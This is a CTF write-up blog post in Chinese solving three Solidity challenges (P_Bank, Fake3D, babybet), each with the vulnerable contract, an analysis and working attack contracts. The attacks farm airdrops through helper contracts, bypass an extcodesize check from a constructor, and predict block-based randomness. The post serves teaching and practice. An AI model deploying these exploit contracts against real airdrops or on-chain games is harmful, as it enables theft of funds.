airdrop hunting(3/3)

  • BY_DLIFE
  • 更新于 2024-04-30 11:23
  • 阅读 885

Airdrop hunting 部分题解

CoinFlip

1. question

源码

pragma solidity ^0.4.24;

contract P_Bank
{
    mapping (address => uint) public balances;

    uint public MinDeposit = 0.1 ether;

    Log TransferLog;

    event FLAG(string b64email, string slogan);

    constructor(address _log) public { 
        TransferLog = Log(_log);
     }

    function Ap() public {
        if(balances[msg.sender] == 0) {
            balances[msg.sender]+=1 ether;
        }
    }

    function Transfer(address to, uint val) public {
        if(val > balances[msg.sender]) {
            revert();
        }
        balances[to]+=val;
        balances[msg.sender]-=val;
    }

    function CaptureTheFlag(string b64email) public returns(bool){
      require (balances[msg.sender] > 500 ether);
      emit FLAG(b64email, "Congratulations to capture the flag!");
    }

    function Deposit()
    public
    payable
    {
        if(msg.value > MinDeposit)
        {
            balances[msg.sender]+= msg.value;
            TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
        }
    }

    function CashOut(uint _am) public 
    {
        if(_am<=balances[msg.sender])
        {

            if(msg.sender.call.value(_am)())
            {
                balances[msg.sender]-=_am;
                TransferLog.AddMessage(msg.sender,_am,"CashOut");
            }
        }
    }

    function() public payable{}    

}

contract Log 
{

    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }

    string err = "CashOut";
    Message[] public History;

    Message LastMsg;

    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}

📌 目标:成功调用CaptureTheFlag()

2. analysis

比较简单,注意到空投函数AP(),其要求调用者的余额balance小于1ether即可调用,但是如果某人拥有两个账户,那便可以无限取钱了。

3. solve

攻击合约:

contract Helper {

    address hacker;
    P_Bank bank;

    constructor(address _bank) public {
        hacker = msg.sender;
        bank = P_Bank(_bank);
    }

    function attack() public {
        bank.Ap();
        bank.Transfer(hacker, 1 ether);
    }
}

contract Hacker {

    P_Bank bank;
    Helper helper;

    constructor(address _bank) public {
        bank = P_Bank(_bank);
        helper = new Helper(_bank);
    }

    function attack() public {

        for (uint i; i < 501; i++) {
            helper.attack();
        }
        // CaptureTheFlag() 成功执行之后,默认返回false
        require(!bank.CaptureTheFlag(""), "you don't capture...");
    }
}

📌 注意:调用Hacker.attack()时,需要将gaslimit调高

攻击成功:

image.png

Fake3d

1. question

/**
 *Submitted for verification at Etherscan.io on 2018-11-27
*/

pragma solidity ^0.4.24;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that revert on error
 */
library SafeMath {

  /**
  * @dev Multiplies two numbers, reverts on overflow.
  */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b);

    return c;
  }

  /**
  * @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
  */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b > 0); // Solidity only automatically asserts when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
  }

  /**
  * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
  */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b <= a);
    uint256 c = a - b;

    return c;
  }

  /**
  * @dev Adds two numbers, reverts on overflow.
  */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a);

    return c;
  }

  /**
  * @dev Divides two numbers and returns the remainder (unsigned integer modulo),
  * reverts when dividing by zero.
  */
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b != 0);
    return a % b;
  }
}

contract WinnerList{
    address owner;
    struct Richman{
        address who;
        uint balance;
    }

    function note(address _addr, uint _value) public{
        Richman rm;
        rm.who = _addr;
        rm.balance = _value;
    }

}

contract Fake3D {
    using SafeMath for *;
    mapping(address => uint256)  public balance;
    uint public totalSupply  = 10**18;
    WinnerList wlist;

    event FLAG(string b64email, string slogan);

    constructor(address _addr) public{
        wlist = WinnerList(_addr);
    }

    modifier turingTest() {
            address _addr = msg.sender;
            uint256 _codeLength;
            assembly {_codeLength := extcodesize(_addr)}
            require(_codeLength == 0, "sorry humans only");
            _;
    }

    function transfer(address _to, uint256 _amount) public{
        require(balance[msg.sender] >= _amount);
        balance[msg.sender] = balance[msg.sender].sub(_amount);
        balance[_to] = balance[_to].add(_amount);
    }

    function airDrop() public turingTest returns (bool) {
        uint256 seed = uint256(keccak256(abi.encodePacked(
            (block.timestamp).add
            (block.difficulty).add
            ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
            (block.gaslimit).add
            ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
            (block.number)
        )));

        if((seed - ((seed / 1000) * 1000)) < 288){
            balance[tx.origin] = balance[tx.origin].add(10);
            totalSupply = totalSupply.sub(10);
            return true;
        }
        else
            return false;
    }

   function CaptureTheFlag(string b64email) public{
        require (balance[msg.sender] > 8888);
        wlist.note(msg.sender,balance[msg.sender]);
        emit FLAG(b64email, "Congratulations to capture the flag?");
    }

}

📌 目标:成功调用CaptureTheFlag()

2. analysis

这题嘛,思路不难,就是麻烦。

要想成功调用CaptureTheFlag(),调用者的balance必须大于 8888,而能获取balance函数为airDrop(),但是其被一个修饰器限制。

修饰器:

  modifier turingTest() {
          address _addr = msg.sender;
          uint256 _codeLength;
          assembly {_codeLength := extcodesize(_addr)}
          require(_codeLength == 0, "sorry humans only");
          _;
  }

修饰器规定,调用者地址的代码大小为0,即要求调用者为EOA账户,但是也不全是,还有一种操作也可以让其代码大小为0,在构造函数调用被此修饰器的函数时,合约还在初始化,通过extcodesize获取到的代码大小为0,这样一来就有路子了。

再分析airDrop():

  function airDrop() public turingTest returns (bool) {
      uint256 seed = uint256(keccak256(abi.encodePacked(
            (block.timestamp).add
            (block.difficulty).add
            ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
            (block.gaslimit).add
            ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
            (block.number)
        )));

        if((seed - ((seed / 1000) * 1000)) < 288){
            balance[tx.origin] = balance[tx.origin].add(10);
          totalSupply = totalSupply.sub(10);
          return true;
      }
        else
          return false;
  }

根据区块链信息,计算出种子,当然,这些全局变量block.timestamp,block.difficulty,block.coinbase,block.gaslimit,now,再同一个区块中他们的值是相同的,也就意味着,可以事先计算出种子seed,即在同一个函数中,可以先计算出种子,再调用此函数,其生成的seed相同。

由于gas不足引起的错误的代码:

contract Hacker {

    using SafeMath for *;

    Fake3D fake;

    constructor(address _fake) public {

        fake = Fake3D(_fake);

      uint256 seed = uint256(keccak256(abi.encodePacked(
            (block.timestamp).add
            (block.difficulty).add
            ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
            (block.gaslimit).add
            ((uint256(keccak256(abi.encodePacked(address(this))))) / (now)).add
            (block.number)
        )));

        require((seed - ((seed / 1000) * 1000)) < 288, "the seed bigger than 288, please try again...");

        for (uint i; i < 889; i++) {
            fake.airDrop();
        }
        fake.CaptureTheFlag("");
    }
}

image.png

尽管,我已经将gaslimit设置到了:3000000000

按理来说,按照这个思路,攻击合约已经出来了,但是,由于涉及的balance数目太大,在单笔交易中无法正常执行,所以只能通过多次部署合约获取空投,又因为空投集中发放给tx.origin,到该账户的balance大于8888时,需要tx.origin亲自去调用CaptureTheFlag()

3. solve

一直部署该合约,直到成功部署十次为止

contract Hacker {

    using SafeMath for *;

    Fake3D fake;

    constructor(address _fake) public {

        fake = Fake3D(_fake);

        uint256 seed = uint256(keccak256(abi.encodePacked(
            (block.timestamp).add
            (block.difficulty).add
            ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
            (block.gaslimit).add
            ((uint256(keccak256(abi.encodePacked(address(this))))) / (now)).add
            (block.number)
        )));

        require((seed - ((seed / 1000) * 1000)) < 288, "the seed bigger than 288, please try again...");

        for (uint i; i < 90; i++) {
            fake.airDrop();
        }
    }
}

如图:

image.png

其实当初的做法还是有点繁琐了,也不知道是不是科技进步了其实是可以一次性完成的,只要成功部署如下合约即可

contract Fake3DHacker {

    using SafeMath for *;
    Fake3D fake;

    constructor(address _fake) public {

        fake = Fake3D(_fake);

        uint256 seed = uint256(keccak256(abi.encodePacked(
            (block.timestamp).add
            (block.difficulty).add
            ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
            (block.gaslimit).add
            ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
            (block.number)
        )));

        require((seed - ((seed / 1000) * 1000)) < 288, "the result of the calculation is not less than 288");

        for(uint i; i < 889; i++) {
            fake.airDrop();
        }
    }
}

babybet

1. question

源码:

pragma solidity ^0.4.23;

contract babybet {
    mapping(address => uint) public balance;
    mapping(address => uint) public status;
    address owner;

    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 

    constructor()public{
        owner = msg.sender;
        balance[msg.sender]=1000000;
    }

    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 1000000);
        if (msg.sender!=owner){
        balance[msg.sender]=0;}
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }

    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }

    //get_profit
    function profit(){
        require(status[msg.sender]==0);
        balance[msg.sender]+=10;
        status[msg.sender]=1;
    }

    //add money
    function () payable{
        balance[msg.sender]+=msg.value/1000000000000000000;
    }

    //bet
    function bet(uint num) {
        require(balance[msg.sender]>=10);
        require(status[msg.sender]<2);
        balance[msg.sender]-=10;
        uint256 seed = uint256(blockhash(block.number-1));
        uint rand = seed % 3;
        if (rand == num) {
            balance[msg.sender]+=1000;
        }
        status[msg.sender]=2;
    }

    //transfer
    function transferbalance(address to,uint amount){
        require(balance[msg.sender]>=amount);
        balance[msg.sender]-=amount;
        balance[to]+=amount;
    }
}

📌 目标:成功调用payforflag()

2. analysis

思路大差不差,通过两个合约代码,生成多个Helper帮助Hacker积攒balance

又因为rand是可控的,所以可以提前计算随机数,再根据随机数进行赌博,,,所以啊不要赌博,十赌九输。

3. solve

攻击方式,部署Hacker,成功调用2次attack(),再调用pwn()

contract BabyBetHacker {

    babybet bet;

    constructor(address _bet) public {
        bet = babybet(_bet);
    }   

    function attack() public {

        uint256 seed = uint256(blockhash(block.number-1));
        uint rand = seed % 3;      

        for (uint i; i < 500; i++) {
            new BabyBetHelper(address(bet), rand);
        }
    }

    function pwn() public {
        bet.payforflag("BYYQ1030Hacker", "BYYQ");
    }
}

contract BabyBetHelper {

    babybet bet;

    constructor(address _bet, uint answer) public {
        bet = babybet(_bet);
        bet.profit();
        bet.bet(answer);
        bet.transferbalance(msg.sender, 1000);
    }

}

image.png

总结

区块链上的一些信息是具有共性的,比如在同一个函数中调用了较多函数,且这是被调用函数中都涉及到了一些区块信息,比如block.number,now等,但是只有在一个区块中这些值都是相等的,意味着某些随机数并不随机。。。

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。
该文章收录于 ChainFlag CTF 题解
0 订阅 1 篇文章

0 条评论

请先 登录 后评论
BY_DLIFE
BY_DLIFE
0x39CF...9999
立志成为一名优秀的智能合约审计师、智能合约开发工程师,文章内容为个人理解,如有错误,欢迎在评论区指出。